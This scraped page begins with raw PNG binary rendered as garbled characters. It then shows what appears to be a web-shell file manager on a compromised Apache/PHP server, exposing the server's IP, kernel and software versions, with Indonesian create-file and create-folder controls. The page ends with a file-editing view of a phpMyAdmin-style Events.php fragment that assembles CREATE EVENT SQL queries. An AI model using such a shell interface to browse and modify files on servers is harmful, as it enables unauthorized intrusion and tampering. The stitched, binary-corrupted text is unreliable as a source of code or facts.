PNG  IHDR>asBIT|d pHYstEXtSoftwarewww.inkscape.org< IDATxyx\ř{f-mY&aOr$&&L$\dd@f11 0$  1"/ɫ%k_zQ5:Mx9ԩ[f`X1Y 6gW$Q A'bp;9ia%n)%b%]R'|5r>pBN/%EǛ0@%FB;0e&*kg5pG&%r16O7V[y*BVw*1ʴ˨n]h=?wF)%'<ǀK)wK <jFڹKi]JHop(0Y>)/E)K!n c5_ ɜu1>jN uÇ~ " f|)I!p`2Ѵr=ΦY]? !eDUon8Yݸ80y[+*<9yDBp0@t륔s"@pJ@ag'M2;L8ݥdAF:k|LJǎR)C!x ~*_J)yz?GCx PJ͛P9!uCh:nv> 1~BYV?i 7<-pBvR-$ }ZD%O:R)i<_Tմ.a酖Hƙ_e&s(g/qc0buT`W45S=w !Uᦈ !=sq֞_< O7t(DWoHP#s η8*j}dRdbnZYeBPd$أ. Ff8sZQge-^Q-PrB,U5.]HCcr`ڨ]!%/mFq>Qlj%nrU0LյTΞ~LQ׾X();c`)sҴ"fɪ{e.*U7Y%C!*uM+ϞҖna;u ] aPRqUDK!sp6Q C&Vm}GI@q!daIa5}lv誊*`ٕU3)\P,-XJB`2H[}–wR[7QWRc0M Ǵz5ӔUӁBd(:!(g'f{Y'0, W l*vBȥbW* 5 hFQ`F(pE^I`\FU!J`4h^[ɮ"yBA bkYsۧDBA¡ `H0@8$قlhDrYFBLfqsl;ޝ(N<du)XP53n,#>|GFNDR`2c41'k)sbsVcuVaqNh&$@Yt;0+" f iIΘDGwPH( kE56g8)UT W&3B=B &3 'DBiR$(p.{ߕ6$nx w##ݶ@$bl>U^YcZ#J'VIgYbSBy]`}8>=頢̦z씗9(wPGE7 ^1^/.nnw KO Ci;8!8u4;qL^[YɄV]u/* euQ͘4%CEy32-ѿZf2u&թ/Fpg7:84nG\I z݌t<BX+F#2h:7u򁂛 !vAt~i ܇=03 4a]݆yB1L+яj٩┶rF_d { Q %W1c ;;6:ɻJD;#.,&gc3ZL6}4C 72D> GMjv(1H݈7A-6)96~jjM_ç=?QxRO| fiڹ=/%B$Nxl {[u)eaų |LYpIʥT0.(g$Jx]Tt4~q1vFc{JO??DKPH_ݓ0)=uFXE!ΨV<q(֨+{H3rߏ|qU~F{OhQr4 b1=wp >FI߁H$·yH$_?{ȿ:M|׋Dpƽ4hR,G~`M-/nt xCʦ֔z N-$lˁSB,b'Hh00{g9.I"nSbvV7{I@Jyhƍ^ ULo@gs+ W6u%dn J?]M |-G"O  : Ė~0ށ$ͣ}2ZH8<|IO0m2LAw_6w6KTq;;H݂%W0⊯}"#nRnn'=ةnF CyR9B 0E(cȁ$ͣ0/^"EWijx=c!shrupus~c(~ʬ|h:ۢ$ #1{NO"8*_tje0s:m"Q|wk;zTp2|<ΘR-TO|n聄kp%,eθ zunOkH{HXϿls촼e8L2I)ŏ tZQMqH= Ӹpq"0>Jwx?c'&E-8O*LJYPd()!VoH^^D͜,qHD [o˱[~cޘǡnWy`35f+SbÝq[_R|?JB1';7&`18}֟J.oGops!g$LR\$-ʺI7[Wدg=u םۻ.fT%[DD0xcp8&%uyN7WOrõc23 xѻy_MMppO%8AF.۴P%<@̕lJo!81>yP'[z;h(j1h,-hS3;Hz Q`k L9dYk겋F}{aZh;`#O?H{4v)ʈPt!sͧYM p\TkƼCͼn l:>@+bpH;߻lF"' z٨`Yp\?.cglv:[J{[Ca0``4"H8D3J$|CH)7gzRP,f`y88}SHDBpX7q֪d%a!C+9< @DsaÆ qY̦M6ݺ|ǽu۞8q{UO.ӽ`*5kpU%C$O?ZǵHI Ttuu%j@8xr۫k rA.k'N^$sAD ``@?@{{;_|1\CT!ϲ~z^z饄x<ϕ?W@#@У@ww7> ,o;kس''V__]wG'?k[oDv-2$WV8u%{':I9WO;bztM @ }0{e F>)eftlv՘_haǎ;;;&krnjbEc#Y;*mx ^|Xw2k$H4h&#'x9/Z]oʅ&ҥKU}߹sIq8Cɓѝ9Wc3To߾K.$zkq$6T8|rcU[R[&AXz闗:.S/Viy7cvޭjIO@y˖eC&K@.> \=s xdwLn MEMg@<2={ .VȺu2E FH8|K>={NBsۭe7#Iʠ믿^U꫹;xW|~or饗vOٸq#&Sf4H$'[٩3c{!,.ڹKhXC=4lQ^^αcM"dڵ˷ 4l|vZ-TU00 D#?r'l[{<єؼy3<2Yq9X+9&N%%)eFѲ2lbOY#vr%ϥk!cέⴊ <0} ='zZlv.Kf!9 $Jc/h0qLq.pel0R53P$w+3™gk_϶m?}'–-[X|yb&D9V h1Mتj 4!SiIUk.n ))ަP}}=< V5v;/r^;LXHq2"H;V&#׀K!LոBl۶MuW^y%lsmt_FE|f]evTKDHBne]U"笳΢3i/]ͻ^7ʔ_tq"}3i]#KʹH;>ccc|_U]puV/^!LH˥Bj[KZR!Rʔ3b5qypApضm[XBE殗b0 mwKɞ~6a3ZlT.dJ[YRJY1@BtqqB3Π*e;<x*2p%Sy& a6mڔ7'Lsť;SR@7&Of, mkVdkGbU4m{<4A;"{/7n̍d4&qUw`Lm: }ݗP4 yOb[wy'"@ 7-jmUKz_~G7Jb Ν\méU;>V+Um{,ަCGIӱ"dhXKAG}TU{n{<_2_håo|͛7SY95+$"@ `hh2Ig j{ 鵛@*(2T3ׯg|΋\Զw#q@E†nfjkk@@wiD" 'zvp=o굛@RH);F\&hW'r8I#{u21mgfRx7y]C;3kB`6D  #J?oJ[nUVyfO[ 3ouhn(Ti c)q* (6ҵ4ZF?ǤMHYBQ@'L)V>WuE4$~F0~>Owu oqa.7iϿۋLadd1}{GGG]d0Ep)kuXaxXiJL9\bh1&GKdjᰮ~  ?$ QP< + Default page
  • Your IP: 216.73.216.14
  • Server IP: 15.206.10.86
  • Server: Linux ip-172-31-44-180 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
  • Server Software: Apache/2.4.41 (Ubuntu)
  • PHP Version: 7.4.3-4ubuntu2.29
  • Buat File | Buat Folder
Edit File: Events.php
\n"; $retval .= "\n"; $retval .= "\n"; $retval .= " " . __('On completion preserve') . "\n"; $retval .= " \n"; $retval .= " \n"; $retval .= " isAjax()) { $retval .= "\n"; $retval .= "\n"; } $retval .= "
\n\n"; $retval .= "\n\n"; return $retval; } // end self::getEditorForm() /** * Composes the query necessary to create an event from an HTTP request. * * @return string The CREATE EVENT query. */ public static function getQueryFromRequest() { global $_REQUEST, $errors, $event_status, $event_type, $event_interval; $query = 'CREATE '; if (! empty($_POST['item_definer'])) { if (mb_strpos($_POST['item_definer'], '@') !== false ) { $arr = explode('@', $_POST['item_definer']); $query .= 'DEFINER=' . Util::backquote($arr[0]); $query .= '@' . Util::backquote($arr[1]) . ' '; } else { $errors[] = __('The definer must be in the "username@hostname" format!'); } } $query .= 'EVENT '; if (! empty($_POST['item_name'])) { $query .= Util::backquote($_POST['item_name']) . ' '; } else { $errors[] = __('You must provide an event name!'); } $query .= 'ON SCHEDULE '; if (! empty($_POST['item_type']) && in_array($_POST['item_type'], $event_type) ) { if ($_POST['item_type'] == 'RECURRING') { if (! empty($_POST['item_interval_value']) && !empty($_POST['item_interval_field']) && in_array($_POST['item_interval_field'], $event_interval) ) { $query .= 'EVERY ' . intval($_POST['item_interval_value']) . ' '; $query .= $_POST['item_interval_field'] . ' '; } else { $errors[] = __('You must provide a valid interval value for the event.'); } if (! empty($_POST['item_starts'])) { $query .= "STARTS '" . $GLOBALS['dbi']->escapeString($_POST['item_starts']) . "' "; } if (! empty($_POST['item_ends'])) { $query .= "ENDS '" . $GLOBALS['dbi']->escapeString($_POST['item_ends']) . "' "; } } else { if (! empty($_POST['item_execute_at'])) { $query .= "AT '" . $GLOBALS['dbi']->escapeString($_POST['item_execute_at']) . "' "; } else { $errors[] = __('You must provide a valid execution time for the event.'); } } } else { $errors[] = __('You must provide a valid type for the event.'); } $query .= 'ON COMPLETION '; if (empty($_POST['item_preserve'])) { $query .= 'NOT '; } $query .= 'PRESERVE '; if (! empty($_POST['item_status'])) { foreach ($event_status['display'] as $key => $value) { if ($value == $_POST['item_status']) { $query .= $event_status['query'][$key] . ' '; break; } } } if (! empty($_POST['item_comment'])) { $query .= "COMMENT '" . $GLOBALS['dbi']->escapeString( $_POST['item_comment'] ) . "' "; } $query .= 'DO '; if (! empty($_POST['item_definition'])) { $query .= $_POST['item_definition']; } else { $errors[] = __('You must provide an event definition.'); } return $query; } // end self::getQueryFromRequest() }